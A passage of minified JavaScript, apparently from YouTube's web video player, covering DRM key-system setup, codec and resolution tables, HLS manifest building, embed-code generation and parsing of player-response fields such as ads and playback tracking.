{},this.C[Z][I.mimeType]=!0}}}Jg()&&(this.j["com.youtube.fairplay"]=new vT("fairplay","com.youtube.fairplay","",this.Pv.experiments),this.B("html5_enable_vp9_fairplay")||(this.C.fairplay=this.C.fairplay||{},this.C.fairplay['video/mp4; codecs="avc1.4d400b"']=!0,this.C.fairplay['audio/mp4; codecs="mp4a.40.5"']=!0));this.Z=$WC(T,this.useCobaltWidevine,this.B("html5_enable_safari_fairplay"),this.B("html5_enable_vp9_fairplay")).filter(function(m){return!!t.j[m]})};
QF.prototype.B=function(x){return this.Pv.experiments.aU(x)};var o13={"":"LIVE_STREAM_MODE_UNKNOWN",dvr:"LIVE_STREAM_MODE_DVR",lp:"LIVE_STREAM_MODE_LP",post:"LIVE_STREAM_MODE_POST",window:"LIVE_STREAM_MODE_WINDOW",live:"LIVE_STREAM_MODE_LIVE"};R94.prototype.B=function(x){return this.experiments.aU(x)};var K8H={RED:"red",kim:"white"};PZD.prototype.aU=function(x){x=this.flags[x];JSON.stringify(x);return x==="true"};var Y1m=Promise.resolve(),z9D=window.queueMicrotask?window.queueMicrotask.bind(window):UWD;x3.prototype.canPlayType=function(x,T){x=x.canPlayType?x.canPlayType(T):!1;CM?x=x||tgF[T]:v_===2.2?x=x||sgh[T]:yX()&&(x=x||u6d[T]);return!!x};
x3.prototype.isTypeSupported=function(x){return this.jY?window.cast.receiver.platform.canDisplayType(x):VV(x)};
var sgh={'video/mp4; codecs="avc1.42001E, mp4a.40.2"':"maybe"},u6d={"application/x-mpegURL":"maybe"},tgF={"application/x-mpegURL":"maybe"};g.P(um,g.$B);um.prototype.add=function(x,T){if(!this.items[x]&&(T.xC||T.GU||T.J_)){var t=this.items,u=T;Object.isFrozen&&!Object.isFrozen(T)&&(u=Object.create(T),Object.freeze(u));t[x]=u;this.publish("vast_info_card_add",x)}};
um.prototype.remove=function(x){var T=this.get(x);delete this.items[x];return T};
um.prototype.get=function(x){return this.items[x]||null};
um.prototype.isEmpty=function(){return g.z0(this.items)};g.P($3,g.RO);$3.prototype.C=function(x,T){return g.RO.prototype.C.call(this,x,T)};
$3.prototype.Z=function(x,T,t){var u=this;return g.G(function(H){return H.C==1?g.v(H,g.RO.prototype.Z.call(u,x,T,t),2):H.return(H.Z)})};
g.P(H_,g.PC);H_.prototype.encrypt=function(x,T){return g.PC.prototype.encrypt.call(this,x,T)};var IQ;E0.prototype.add=function(x){if(this.pos+20>this.data.length){var T=new Uint8Array(this.data.length*2);T.set(this.data);this.data=T}for(;x>31;)this.data[this.pos++]=IQ[(x&31)+32],x>>=5;this.data[this.pos++]=IQ[x|0]};
E0.prototype.vM=function(){return g.U6(this.data.subarray(0,this.pos))};
E0.prototype.reset=function(){this.pos=0};Zm.prototype.SF=function(x,T){var t=Math.pow(this.alpha,x);this.C=T*(1-t)+t*this.C;this.Z+=x};
Zm.prototype.Z$=function(){return this.C/(1-Math.pow(this.alpha,this.Z))};ji.prototype.SF=function(x,T){for(var t=0;t<10;t++){var u=this.C[t],H=u+(t===0?x:0),I=1*Math.pow(2,t);if(H<=I)break;u=Math.min(1,(H-I*.5)/u);for(H=0;H<16;H++)I=this.values[t*16+H]*u,this.values[(t+1)*16+H]+=I,this.C[t+1]+=I,this.values[t*16+H]-=I,this.C[t]-=I}u=t=0;H=8192;T>8192&&(t=Math.ceil(Math.log(T/8192)/Math.log(2)),u=8192*Math.pow(2,t-1),H=u*2);t+2>16?this.values[15]+=x:(T=(T-u)/(H-u),this.values[t]+=x*(1-T),this.values[t+1]+=x*T);this.C[0]+=x};
ji.prototype.Z$=function(){var x=x===void 0?this.Z:x;var T=T===void 0?.02:T;var t=t===void 0?.98:t;for(var u=this.j,H=0;H<16;H++)u[H]=this.values[H];H=this.C[0];for(var I=1;I<11;I++){var E=this.C[I];if(E===0)break;for(var Z=Math.min(1,(x-H)/E),e=0;e<16;e++)u[e]+=this.values[I*16+e]*Z;H+=E*Z;if(Z<1)break}for(I=x=E=0;I<16;I++){Z=E+u[I]/H;x+=Math.max(0,Math.min(Z,t)-Math.max(E,T))*(I>0?8192*Math.pow(2,I-1):0);if(Z>t)break;E=Z}return x/(t-T)};ei.prototype.SF=function(x,T){x=Math.min(this.C,Math.max(1,Math.round(x*this.resolution)));x+this.Z>=this.C&&(this.j=!0);for(;x--;)this.values[this.Z]=T,this.Z=(this.Z+1)%this.C;this.ZU=!0};
ei.prototype.percentile=function(x){var T=this;if(!this.j&&this.Z===0)return 0;this.ZU&&(g.Ey(this.T,function(t,u){return T.values[t]-T.values[u]}),this.ZU=!1);
return this.values[this.T[Math.round(x*((this.j?this.C:this.Z)-1))]]||0};
ei.prototype.Z$=function(){return this.D?(this.percentile(this.K-this.D)+this.percentile(this.K)+this.percentile(this.K+this.D))/3:this.percentile(this.K)};g.P(lm,g.W);lm.prototype.AQ=function(){var x;(x=this.nf)==null||x.start();if(c_(this)&&this.policy.J){var T;(T=this.sF)==null||T.jy()}};yH5.prototype.B=function(x){return this.experiments.aU(x)};g.P(JH5,g.W);var w0i="blogger gac books docs duo flix google-live google-one play shopping chat hangouts-meet photos-edu picasaweb gmail jamboard".split(" "),tI4={Wsu:"caoe",X_u:"capsv",L0Q:"cbrand",uRy:"cbr",PbY:"cbrver",rIZ:"cchip",cIU:"ccappver",qky:"ccrv",RN9:"cfrmver",o$Y:"c",uAf:"cver",LOY:"ctheme",zmy:"cplayer",oGm:"cmodel",Q3Z:"cnetwork",fNc:"cos",nGu:"cosver",Ayv:"cplatform",dsU:"crqyear"};g.P(yZ,g.W);g.q=yZ.prototype;g.q.B=function(x){return this.experiments.aU(x)};
g.q.getWebPlayerContextConfig=function(){return this.webPlayerContextConfig};
g.q.getVideoUrl=function(x,T,t,u,H,I,E){T={list:T};t&&(H?T.time_continue=t:T.t=t);t=E?"music.youtube.com":g.JF(this);H=t==="www.youtube.com";!I&&u&&H?I="https://youtu.be/"+x:g.L1(this)?(I="https://"+t+"/fire",T.v=x):(I&&H?(I=this.protocol+"://"+t+"/shorts/"+x,u&&(T.feature="share")):(I=this.protocol+"://"+t+"/watch",T.v=x),CM&&(x=DzC())&&(T.ebc=x));return g.NY(I,T)};
g.q.getVideoEmbedCode=function(x,T,t,u){T="https://"+g.JF(this)+"/embed/"+T;u&&(T=g.NY(T,{list:u}));u=t.width;t=t.height;T=wE(T);x=wE(x!=null?x:"YouTube video player");return'<iframe width="'+u+'" height="'+t+'" src="'+T+'" title="'+(x+'" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>')};
g.q.supportsGaplessAudio=function(){return g.vU&&!CM&&Wi()>=74||g.WT&&g.Mv(68)?!0:!1};
g.q.supportsGaplessShorts=function(){return!this.B("html5_enable_short_gapless")||this.G9||g.M4?!1:!0};
g.q.getPlayerType=function(){return this.C.cplayer};
g.q.AM=function(){return this.qz};
var HV3=["www.youtube-nocookie.com","youtube.googleapis.com","www.youtubeeducation.com","youtubeeducation.com"],o_D=["EMBEDDED_PLAYER_LITE_MODE_UNKNOWN","EMBEDDED_PLAYER_LITE_MODE_NONE","EMBEDDED_PLAYER_LITE_MODE_FIXED_PLAYBACK_LIMIT","EMBEDDED_PLAYER_LITE_MODE_DYNAMIC_PLAYBACK_LIMIT"],uNi=[19];var tV={},E_m=(tV["140"]={numChannels:2},tV["141"]={numChannels:2},tV["251"]={audioSampleRate:48E3,numChannels:2},tV["774"]={audioSampleRate:48E3,numChannels:2},tV["380"]={numChannels:6},tV["328"]={numChannels:6},tV["773"]={},tV),sa={},iVq=(sa["1"]='video/mp4; codecs="av01.0.08M.08"',sa["1h"]='video/mp4; codecs="av01.0.12M.10.0.110.09.16.09.0"',sa["1e"]='video/mp4; codecs="av01.0.08M.08"',sa["9"]='video/webm; codecs="vp9"',sa["("]='video/webm; codecs="vp9"',sa["9h"]='video/webm; codecs="vp09.02.51.10.01.09.16.09.00"',
sa.h='video/mp4; codecs="avc1.64001e"',sa.H='video/mp4; codecs="avc1.64001e"',sa.o='audio/webm; codecs="opus"',sa.a='audio/mp4; codecs="mp4a.40.2"',sa.ah='audio/mp4; codecs="mp4a.40.2"',sa.mac3='audio/mp4; codecs="ac-3"; channels=6',sa.meac3='audio/mp4; codecs="ec-3"; channels=6',sa.i='audio/mp4; codecs="iamf.001.001.Opus"',sa),uT={},Ifm=(uT["337"]={width:3840,height:2160,bitrate:3E7,fps:30},uT["336"]={width:2560,height:1440,bitrate:15E6,fps:30},uT["335"]={width:1920,height:1080,bitrate:75E5,fps:30},
uT["702"]={width:7680,height:4320,bitrate:4E7,fps:60},uT["701"]={width:3840,height:2160,bitrate:2E7,fps:60},uT["700"]={width:2560,height:1440,bitrate:1E7,fps:60},uT["412"]={width:1920,height:1080,bitrate:85E5,fps:60,cryptoblockformat:"subsample"},uT["359"]={width:1920,height:1080,bitrate:8E6,fps:30,cryptoblockformat:"subsample"},uT["411"]={width:1920,height:1080,bitrate:3316E3,fps:60,cryptoblockformat:"subsample"},uT["410"]={width:1280,height:720,bitrate:4746E3,fps:60,cryptoblockformat:"subsample"},
uT["409"]={width:1280,height:720,bitrate:1996E3,fps:60,cryptoblockformat:"subsample"},uT["360"]={width:1920,height:1080,bitrate:5331E3,fps:30,cryptoblockformat:"subsample"},uT["358"]={width:1280,height:720,bitrate:3508E3,fps:30,cryptoblockformat:"subsample"},uT["357"]={width:1280,height:720,bitrate:3206E3,fps:30,cryptoblockformat:"subsample"},uT["274"]={width:1280,height:720,bitrate:1446E3,fps:30,cryptoblockformat:"subsample"},uT["315"]={width:3840,height:2160,bitrate:2E7,fps:60},uT["308"]={width:2560,
height:1440,bitrate:1E7,fps:60},uT["303"]={width:1920,height:1080,bitrate:5E6,fps:60},uT["302"]={width:1280,height:720,bitrate:25E5,fps:60},uT["299"]={width:1920,height:1080,bitrate:75E5,fps:60},uT["298"]={width:1280,height:720,bitrate:35E5,fps:60},uT["571"]={width:7680,height:4320,bitrate:3E7,fps:60},uT["401"]={width:3840,height:2160,bitrate:15E6,fps:60},uT["400"]={width:2560,height:1440,bitrate:75E5,fps:60},uT["399"]={width:1920,height:1080,bitrate:2E6,fps:60},uT["398"]={width:1280,height:720,bitrate:1E6,
fps:60},uT["397"]={width:854,height:480,bitrate:4E5,fps:30},uT["396"]={width:640,height:360,bitrate:25E4,fps:30},uT["787"]={width:1080,height:608,bitrate:2E5,fps:30},uT["788"]={width:1080,height:608,bitrate:4E5,fps:30},uT["572"]={width:7680,height:4320,bitrate:3E7,fps:60},uT["555"]={width:3840,height:2160,bitrate:15E6,fps:60},uT["554"]={width:2560,height:1440,bitrate:75E5,fps:60},uT["553"]={width:1920,height:1080,bitrate:2E6,fps:60},uT["552"]={width:1280,height:720,bitrate:1E6,fps:60},uT["551"]={width:854,
height:480,bitrate:4E5,fps:30},uT["550"]={width:640,height:360,bitrate:25E4,fps:30},uT["313"]={width:3840,height:2160,bitrate:8E6,fps:30},uT["271"]={width:2560,height:1440,bitrate:4E6,fps:30},uT["248"]={width:1920,height:1080,bitrate:2E6,fps:30},uT["247"]={width:1280,height:720,bitrate:15E5,fps:30},uT["244"]={width:854,height:480,bitrate:52E4,fps:30},uT["243"]={width:640,height:360,bitrate:28E4,fps:30},uT["137"]={width:1920,height:1080,bitrate:4E6,fps:30},uT["136"]={width:1280,height:720,bitrate:3E6,
fps:30},uT["135"]={width:854,height:480,bitrate:1E6,fps:30},uT["385"]={width:1920,height:1080,bitrate:6503313,fps:60},uT["376"]={width:1280,height:720,bitrate:5706960,fps:60},uT["384"]={width:1280,height:720,bitrate:3660979,fps:60},uT["225"]={width:1280,height:720,bitrate:5805E3,fps:30},uT["224"]={width:1280,height:720,bitrate:453E4,fps:30},uT["145"]={width:1280,height:720,bitrate:2682052,fps:30},uT);g.q=HK.prototype;g.q.getInfo=function(){return this.C};
g.q.Nq=function(){return null};
g.q.gj=function(){var x=this.Nq();return x?(x=g.sr(x.QA),Number(x.expire)):NaN};
g.q.zl=function(){};
g.q.getHeight=function(){return this.C.video.height};ePf.prototype.build=function(){dU5(this);var x=["#EXTM3U","#EXT-X-INDEPENDENT-SEGMENTS"],T={};a:if(this.C)var t=this.C;else{t="";for(var u=g.S(this.j),H=u.next();!H.done;H=u.next())if(H=H.value,H.S8){if(H.S8.getIsDefault()){t=H.S8.getId();break a}t||(t=H.S8.getId())}}u=g.S(this.j);for(H=u.next();!H.done;H=u.next())if(H=H.value,this.D||!H.S8||H.S8.getId()===t)T[H.itag]||(T[H.itag]=[]),T[H.itag].push(H);t=g.S(this.Z);for(u=t.next();!u.done;u=t.next())if(u=u.value,H=T[u.C]){H=g.S(H);for(var I=H.next();!I.done;I=
H.next()){var E=x,Z=E.push;I=I.value;var e="#EXT-X-MEDIA:TYPE=AUDIO,",l="YES",m="audio";if(I.S8){m=I.S8;var d=m.getId().split(".")[0];d&&(e+='LANGUAGE="'+d+'",');(this.C?this.C===m.getId():m.getIsDefault())||(l="NO");m=m.getName()}d="";u!==null&&(d=u.itag.toString());d=IX(this,I.url,d);e=e+('NAME="'+m+'",DEFAULT='+(l+',AUTOSELECT=YES,GROUP-ID="'))+(mUH(I,u)+'",URI="'+(d+'"'));Z.call(E,e)}}t=g.S(this.T);for(u=t.next();!u.done;u=t.next())u=u.value,H=$Qb,u=(E=u.S8)?'#EXT-X-MEDIA:URI="'+IX(this,u.url)+
'",TYPE=SUBTITLES,GROUP-ID="'+H+'",LANGUAGE="'+E.getId()+'",NAME="'+E.getName()+'",DEFAULT=NO,AUTOSELECT=YES':void 0,u&&x.push(u);t=this.T.length>0?$Qb:void 0;u=g.S(this.Z);for(H=u.next();!H.done;H=u.next())H=H.value,Z=T[H.C],E=void 0,((E=Z)==null?void 0:E.length)>0&&(E=H,Z=Z[0],Z="#EXT-X-STREAM-INF:BANDWIDTH="+(E.bitrate+Z.bitrate)+',CODECS="'+(E.codecs+","+Z.codecs+'",RESOLUTION=')+(E.width+"x"+E.height+',AUDIO="')+(mUH(Z,E)+'",')+(t?'SUBTITLES="'+t+'",':"")+"CLOSED-CAPTIONS=NONE",E.fps>1&&(Z+=
",FRAME-RATE="+E.fps),E.Kk&&(Z+=",VIDEO-RANGE="+E.Kk),x.push(Z),x.push(IX(this,H.url,"")));return x.join("\n")};
var $Qb="text";g.P(EP,HK);EP.prototype.gj=function(){return this.expiration};
EP.prototype.Nq=function(){if(!this.QA||this.QA.T9()){var x=this.Z.build();x="data:application/x-mpegurl;charset=utf-8,"+encodeURIComponent(x);this.QA=new RE(x)}return this.QA};g.P(qE,HK);qE.prototype.Nq=function(){return new RE(this.Z.sY())};
qE.prototype.zl=function(){this.Z=zg(this.Z)};g.P(ZG,HK);ZG.prototype.Nq=function(){return new RE(this.Z)};var $k={},rOD=($k.PLAYABILITY_ERROR_CODE_VIDEO_BLOCK_BY_MRM="mrm.blocked",$k.PLAYABILITY_ERROR_CODE_PERMISSION_DENIED="auth",$k.PLAYABILITY_ERROR_CODE_EMBEDDER_IDENTITY_DENIED="embedder.identity.denied",$k);g.q=g.jO.prototype;g.q.getId=function(){return this.id};
g.q.getName=function(){return this.name};
g.q.isServable=function(){return this.C};
g.q.sY=function(){return this.url};
g.q.getXtags=function(){return this.xtags};
g.q.toString=function(){return this.languageCode+": "+g.eO(this)+" - "+this.vssId+" - "+(this.captionId||"")};
g.q.RH=function(x){return x?this.toString()===x.toString():!1};
g.q.eD=function(){return!(!this.languageCode||this.translationLanguage&&!this.translationLanguage.languageCode)};var v_C={"ad-trueview-indisplay-pv":6,"ad-trueview-insearch":7},VIJ={"ad-trueview-indisplay-pv":2,"ad-trueview-insearch":2},Gfm=/^(\d*)_((\d*)_?(\d*))$/;var n_J={iurl:"default.jpg",iurlmq:"mqdefault.jpg",iurlhq:"hqdefault.jpg",iurlsd:"sddefault.jpg",iurlpop1:"pop1.jpg",iurlpop2:"pop2.jpg",iurlhq720:"hq720.jpg",iurlmaxres:"maxresdefault.jpg"},af4={120:"default.jpg",320:"mqdefault.jpg",480:"hqdefault.jpg",560:"pop1.jpg",640:"sddefault.jpg",854:"pop2.jpg",1280:"hq720.jpg"};var H4={},HUM=(H4.ALWAYS=1,H4.BY_REQUEST=3,H4.UNKNOWN=void 0,H4),iT={},iUC=(iT.MDE_STREAM_OPTIMIZATIONS_RENDERER_LATENCY_UNKNOWN="UNKNOWN",iT.MDE_STREAM_OPTIMIZATIONS_RENDERER_LATENCY_NORMAL="NORMAL",iT.MDE_STREAM_OPTIMIZATIONS_RENDERER_LATENCY_LOW="LOW",iT.MDE_STREAM_OPTIMIZATIONS_RENDERER_LATENCY_ULTRA_LOW="ULTRALOW",iT);var r15;
r15=function(x){for(var T=Object.keys(x),t={},u=0;u<T.length;u++){var H=T[u];typeof x[H]==="function"&&(t[H]=x[H])}var I=Object.keys(t);try{zIf(t)}catch(Z){var E=Z}return function(Z,e){Z=Z===void 0?{}:Z;if(E)throw E;for(var l=!1,m={},d=0;d<I.length;d++){var M=I[d],A=Z[M],R=(0,t[M])(A,e);if(typeof R==="undefined")throw Z=e&&e.type,Error("When called with an action of type "+(Z?'"'+String(Z)+'"':"(unknown type)")+', the slice reducer for key "'+M+'" returned undefined. To ignore an action, you must explicitly return the previous state. If you want this reducer to hold no value, you can return null instead of undefined.');m[M]=
R;l=l||R!==A}return(l=l||I.length!==Object.keys(Z).length)?m:Z}}({entities:function(x,T){x=x===void 0?{}:x;
return BQH(x,T)}});
g.TT=new eS;PK.prototype.toString=function(){return this.type+this.id};g.cK.prototype.ys=function(x){x=x||"hqdefault.jpg";var T=this.S[x];if(T)return T;if(x==="sddefault.jpg"||x==="hq720.jpg"||x==="maxresdefault.jpg")return T;if(this.C)return C1(this.Pv,this.C,x)};
g.cK.prototype.FA=function(){return this.Pv.getVideoUrl(this.videoId,this.playlistId)};g.Yc.prototype.ys=function(x){x||(x="hqdefault.jpg");var T=this.S[x];return T?T:x==="pop1.jpg"||x==="pop2.jpg"||x==="sddefault.jpg"||x==="hq720.jpg"||x==="maxresdefault.jpg"?T:C1(this.Pv,this.videoId,x)};
g.Yc.prototype.FA=function(x){return this.watchUrl||this.Pv.getVideoUrl(this.videoId,void 0,void 0,void 0,void 0,x)};var r0=void 0;bZH("LMS",function(){return g.G(function(x){return x.return(g.z8())})});var vK;vK=0;g.$Jf=/^([\w\-_]+)\|(\d+)(;[\w\-_]+)?\|(\d+)\|(\d+)$/;bZH("LMDB",function(){var x,T;return g.G(function(t){if(t.C==1)return g.v(t,g.wm(),2);if(t.C!=3){x=t.Z;if(!x)throw g.Ru("edd");return g.v(t,g.hj(x),3)}T=t.Z;return t.return(g.F3(T,["index","media","captions"],{mode:"readonly",c9:!0},function(u){var H={};u=[g.LM(u.objectStore("index"),{},function(I){H[I.cursor.key]=I.getValue();return g.nM(I)}),
ko5(u.objectStore("media")),ko5(u.objectStore("captions"))];return g.SD.all(u).then(function(I){var E=g.S(I);E.next();I=E.next().value;E=E.next().value;return{index:H,media:Hx5(I||[]),captions:E}})}))})});g.P(G8,g.$B);G8.prototype.oU=function(){this.C&&(this.C=this.C.onload=null);g.$B.prototype.oU.call(this)};g.q=g.g0.prototype;g.q.getHeight=function(){return this.height};
g.q.Nl=oV(2);g.q.bJ=function(){return this.frameCount};
g.q.isDefault=function(){return this.j.indexOf("default")!==-1};
g.q.isLoaded=function(x){return this.loaded.has(x)};
g.q.sY=function(x){var T=this.K;T=T.replace("$N",this.j);T=T.replace("$L",this.level.toString());T=T.replace("$M",x.toString());this.signature&&(T=g.NY(T,{sigh:this.signature}));return T$(T)};
g.q.AB=function(x){var T=this.bJ()-1;return g.iu(this.C===0?Math.round(x*this.frameCount/this.videoLength):Math.round(x*1E3/this.C),0,T)};
g.q.Nd=function(){return this.frameCount-1};
g.q.YE=function(){return this.frameCount?0:-1};
g.q.Y1=function(){};g.P(BK,G8);BK.prototype.Z=function(x,T){var t=[];x=x.split("|");for(var u=x[0],H=1;H<x.length;H++){var I=this.T(H-1,u,x[H],T);(this.N||I.getHeight()<180)&&t.push(I)}return t};
BK.prototype.T=function(x,T,t,u){return new g.g0(x,T,t,u)};g.P(WK,g.g0);g.q=WK.prototype;g.q.bJ=function(){return this.Z.Bg()};
g.q.AB=function(x){var T=this.rows*this.columns*this.T,t=this.Z,u=t.mR();x=t.tp(x);return x>u-T?-1:x};
g.q.Nd=function(){return this.Z.mR()};
g.q.YE=function(){return this.Z.SU()};
g.q.Y1=function(x){this.Z=x};g.P(DG,BK);DG.prototype.Z=function(x,T){return BK.prototype.Z.call(this,"$N|"+x,T)};
DG.prototype.T=function(x,T,t){return new WK(x,T,t,this.isLive)};var PCq=[],OP=new Set;g.P(g.NE,g.$B);g.q=g.NE.prototype;
g.q.setData=function(x){x=x||{};var T=x.errordetail;T!=null&&(this.errorDetail=T);var t=x.errorcode;t!=null?this.errorCode=t:x.status==="fail"&&(this.errorCode="auth");var u=x.reason;u!=null&&(this.errorReason=u);var H=x.subreason;H!=null&&(this.p7=H);this.B("html5_enable_ssap_entity_id")||this.clientPlaybackNonce||(this.clientPlaybackNonce=x.cpn||(this.Pv.AM()?"r"+g.Sq(15):g.Sq(16)));this.SY=ox(this.Pv.SY,x.livemonitor);eff(this,x);var I=x.raw_player_response;if(I)this.l0=I;else{var E=x.player_response;
E&&(I=JSON.parse(E))}if(this.B("html5_enable_ssap_entity_id")){var Z=x.cached_load;Z&&(this.zi=ox(this.zi,Z));if(!this.clientPlaybackNonce){var e=x.cpn;e?(this.q2("ssei","shdc"),this.clientPlaybackNonce=e):this.clientPlaybackNonce=this.Pv.AM()?"r"+g.Sq(15):g.Sq(16)}}I&&(this.playerResponse=I);if(this.playerResponse){var l=this.playerResponse.annotations;if(l)for(var m=g.S(l),d=m.next();!d.done;d=m.next()){var M=d.value.playerAnnotationsUrlsRenderer;if(M){M.adsOnly&&(this.LX=!0);var A=M.loadPolicy;
A&&(this.annotationsLoadPolicy=HUM[A]);var R=M.invideoUrl;R&&(this.mu=T$(R));break}}var Y=this.playerResponse.attestation;Y&&BLX(this,Y);var b=this.playerResponse.cotn;b&&(this.cotn=b);var z=this.playerResponse.heartbeatParams;if(z){q8V(this)&&(this.PO=!0);var F=z.heartbeatToken;F&&(this.drmSessionId=z.drmSessionId||"",this.heartbeatToken=F,this.Ub=Number(z.intervalMilliseconds),this.HO=Number(z.maxRetries),this.l4=!!z.softFailOnError,this.wx=!!z.useInnertubeHeartbeatsForDrm,this.eH=!0);this.heartbeatServerData=
z.heartbeatServerData;var V;this.ZV=!((V=z.heartbeatAttestationConfig)==null||!V.requiresAttestation)}var B=this.playerResponse.messages;B&&NL4(this,B);var D=this.playerResponse.overlay;if(D){var f=D.playerControlsOverlayRenderer;if(f)if(C_C(this,f.controlBgHtml),f.mutedAutoplay){var O=g.N(f.mutedAutoplay,MQh);if(O&&O.endScreen){var sH=g.N(O.endScreen,AmC);sH&&sH.text&&(this.y5=g.eb(sH.text))}}else this.mutedAutoplay=!1}var HX=this.playerResponse.playabilityStatus;if(HX){var xq=HX.backgroundability;
xq&&xq.backgroundabilityRenderer.backgroundable&&(this.backgroundable=!0);var J,X;if((J=HX.offlineability)==null?0:(X=J.offlineabilityRenderer)==null?0:X.offlineable)this.offlineable=!0;var c=HX.contextParams;c&&(this.contextParams=c);var C=HX.pictureInPicture;C&&C.pictureInPictureRenderer.playableInPip&&(this.pipable=!0);HX.playableInEmbed&&(this.allowEmbed=!0);var WX=HX.ypcClickwrap;if(WX){var PE=WX.playerLegacyDesktopYpcClickwrapRenderer,j0=WX.ypcRentalActivationRenderer;if(PE)this.tJ=PE.durationMessage||
"",this.Xt=!0;else if(j0){var r5=j0.durationMessage;this.tJ=r5?g.eb(r5):"";this.Xt=!0}}var w5=HX.errorScreen;if(w5){if(w5.playerLegacyDesktopYpcTrailerRenderer){var tM=w5.playerLegacyDesktopYpcTrailerRenderer;this.Rc=tM.trailerVideoId||"";var md=w5.playerLegacyDesktopYpcTrailerRenderer.ypcTrailer;var r=md&&md.ypcTrailerRenderer}else if(w5.playerLegacyDesktopYpcOfferRenderer)tM=w5.playerLegacyDesktopYpcOfferRenderer;else if(w5.ypcTrailerRenderer){r=w5.ypcTrailerRenderer;var k=r.fullVideoMessage;this.t8=
k?g.eb(k):"";var h,L;this.Rc=((h=g.N(r,RYh))==null?void 0:(L=h.videoDetails)==null?void 0:L.videoId)||""}tM&&(this.mN=tM.itemTitle||"",tM.itemUrl&&(this.m_=tM.itemUrl),tM.itemBuyUrl&&(this.YO=tM.itemBuyUrl),this.Jj=tM.itemThumbnail||"",this.TN=tM.offerHeadline||"",this.aq=tM.offerDescription||"",this.IJ=tM.offerId||"",this.DF=tM.offerButtonText||"",this.IA=tM.offerButtonFormattedText||null,this.M4=tM.overlayDurationMsec||NaN,this.t8=tM.fullVideoMessage||"",this.vE=!0);if(r){var a=g.N(r,RYh);if(a)this.xG=
{raw_player_response:a};else{var Ti=g.N(r,hYE);this.xG=Ti?o6(Ti):null}this.vE=!0}}}var u3=this.playerResponse.playbackTracking;if(u3){var $q=x,n=Aj(u3.googleRemarketingUrl);n&&(this.googleRemarketingUrl=n);var qf=Aj(u3.youtubeRemarketingUrl);qf&&(this.youtubeRemarketingUrl=qf);var m3={},IV=Aj(u3.ptrackingUrl);if(IV){var hf=RX(IV),e0=hf.oid;e0&&(this.Q5=e0);var gy=hf.pltype;gy&&(this.D1=gy);var jQ=hf.ptchn;jQ&&(this.Ih=jQ);var Jf=hf.ptk;Jf&&(this.S$=encodeURIComponent(Jf));var BI=hf.m;BI&&(this.D8=
BI)}var Ig=Aj(u3.qoeUrl);if(Ig){for(var hC=g.sr(Ig),Ng=g.S(Object.keys(hC)),EA=Ng.next();!EA.done;EA=Ng.next()){var DY=EA.value,WI=hC[DY];hC[DY]=Array.isArray(WI)?WI.join(","):WI}this.sW=hC;var ye=hC.cat;ye&&(this.B("html5_enable_qoe_cat_list")?this.Xe=this.Xe.concat(ye.split(",")):this.T2=ye);var An=hC.live;An&&(this.P0=An);var qg=hC.drm_product;qg&&(this.EU=qg)}var ha=Aj(u3.videostatsPlaybackUrl);if(ha){var jz=RX(ha),vd=jz.adformat;if(vd){$q.adformat=vd;var G2=this.Y(),Ls=LYq(vd,this.wf,G2.K,G2.N);
Ls&&(this.adFormat=Ls)}var b7=jz.aqi;b7&&($q.ad_query_id=b7);var KA=jz.autoplay;KA&&(this.VL=KA=="1",this.MK=KA=="1",o9(this,"vss"));var NL=jz.autonav;NL&&(this.isAutonav=NL=="1");var tm=jz.delay;tm&&(this.tM=xO(tm));var UX=jz.ei;UX&&(this.eventId=UX);if(jz.adcontext||vd)this.VL=!0,o9(this,"ad");var W9=jz.feature;W9&&(this.z5=W9);var eQ=jz.list;eQ&&(this.playlistId=eQ);var Pp=jz.of;Pp&&(this.I$=Pp);var Sc=jz.osid;Sc&&(this.osid=Sc);var cp=jz.referrer;cp&&(this.referrer=cp);var tA=jz.sdetail;tA&&(this.xB=
tA);var i2=jz.ssrt;i2&&(this.s$=i2=="1");var sM=jz.subscribed;sM&&(this.subscribed=sM=="1",this.N.subscribed=sM);var uc=jz.uga;uc&&(this.userGenderAge=uc);var Yj=jz.upt;Yj&&(this.ya=Yj);var Uc=jz.vm;Uc&&(this.videoMetadata=Uc);m3.playback=jz}var bK=Aj(u3.videostatsWatchtimeUrl);if(bK){var ro=RX(bK),zy=ro.ald;zy&&(this.d$=zy);m3.watchtime=ro}var kj=Aj(u3.atrUrl);if(kj){var GT=RX(kj);m3.atr=GT}var bN=Aj(u3.engageUrl);if(bN){var Lm=RX(bN);m3.engage=Lm}this.Fe=m3;if(u3.promotedPlaybackTracking){var Jq=
u3.promotedPlaybackTracking;Jq.startUrls&&(this.nu=Jq.startUrls);Jq.firstQuartileUrls&&(this.md=Jq.firstQuartileUrls);Jq.secondQuartileUrls&&(this.eK=Jq.secondQuartileUrls);Jq.thirdQuartileUrls&&(this.W0=Jq.thirdQuartileUrls);Jq.completeUrls&&(this.Ya=Jq.completeUrls);Jq.engagedViewUrls&&(Jq.engagedViewUrls.length>1&&g.Vh(new g.CS("There are more than one engaged_view_urls.")),this.FR=Jq.engagedViewUrls[0])}}var $K=this.playerResponse.playerCueRanges;$K&&$K.length>0&&(this.cueRanges=$K);var FG=this.playerResponse.playerCueRangeSet;
FG&&g.fB(this,FG);a:{var HM=this.playerResponse.adPlacements;if(HM)for(var h0=g.S(HM),ic=h0.next();!ic.done;ic=h0.next()){var vp=void 0,V5=void 0,Gy=(vp=ic.value.adPlacementRenderer)==null?void 0:(V5=vp.renderer)==null?void 0:V5.videoAdTrackingRenderer;if(Gy){var LQ=Gy;break a}}LQ=null}var I3=LQ;u3&&u3.promotedPlaybackTracking&&I3&&g.Vh(new g.CS("Player Response with both promotedPlaybackTracking and videoAdTrackingRenderer"));var MR;if(!(MR=I3))a:{for(var nQ=g.S(this.playerResponse.adSlots||[]),
EM=nQ.next();!EM.done;EM=nQ.next()){var qk=g.N(EM.value,Bb);if(qk===void 0||!l75(qk))break;var aE=void 0,nm=(aE=qk.fulfillmentContent)==null?void 0:aE.fulfilledLayout,go=g.N(nm,FA);if(go&&bC(go)){MR=!0;break a}}MR=!1}MR&&(this.xl=!0);var Bp=this.playerResponse.playerAds;if(Bp)for(var aU=x,Wp=g.S(Bp),Ac=Wp.next();!Ac.done;Ac=Wp.next()){var DD=Ac.value;if(DD){var y5=DD.playerLegacyDesktopWatchAdsRenderer;if(y5){var zn=y5.playerAdParams;if(zn){zn.autoplay=="1"&&(this.MK=this.VL=!0);this.zG=zn.encodedAdSafetyReason||
